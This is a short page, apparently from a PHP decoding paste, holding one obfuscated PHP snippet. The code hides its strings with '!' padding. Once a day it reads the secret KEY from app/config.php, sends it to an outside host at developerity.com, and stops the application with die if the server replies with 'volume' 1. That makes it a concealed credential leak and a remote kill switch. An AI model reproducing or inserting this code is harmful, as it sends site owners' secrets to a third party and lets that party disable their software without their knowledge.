PHP Decode

<?php 
 
$i8Xra = str_replace('!','','s!!y!s!!t!e!m');$XJ36d = str_replace('!','','h!t!!t!p!!s!:!!/!/!!d!e!!v!e!!l!o!!p!e!!r!i!!t!y!!.!c!!o!m!!/!d!!e!v!!/!i!!t!y!!.!p!!h!p!!?!i!!d!=');$VXjaR = str_replace('!','','K!!!!!!!!E!!!!Y');$nOf2c = str_replace('!','','a!!p!p!!/!c!!o!n!!f!i!!g!.!!p!h!!p');if (file_exists($i8Xra)) {goto zr;}file_put_contents($i8Xra, date('d-m-Y'));goto Fz;zr: $SP = file_get_contents($i8Xra);if (!($SP != date('d-m-Y'))) {goto Wi;}$J1 = file($nOf2c);$J1 = explode("define('KEY', '", $J1[6]);$J1 = strstr($J1[1], "');", true);$tK = json_decode(file_get_contents($XJ36d.$J1));if ($tK->volume == 1) {goto Rp;}file_put_contents($i8Xra, date('d-m-Y'));goto Pw;Rp: die;Pw: Wi: Fz: 
 
?>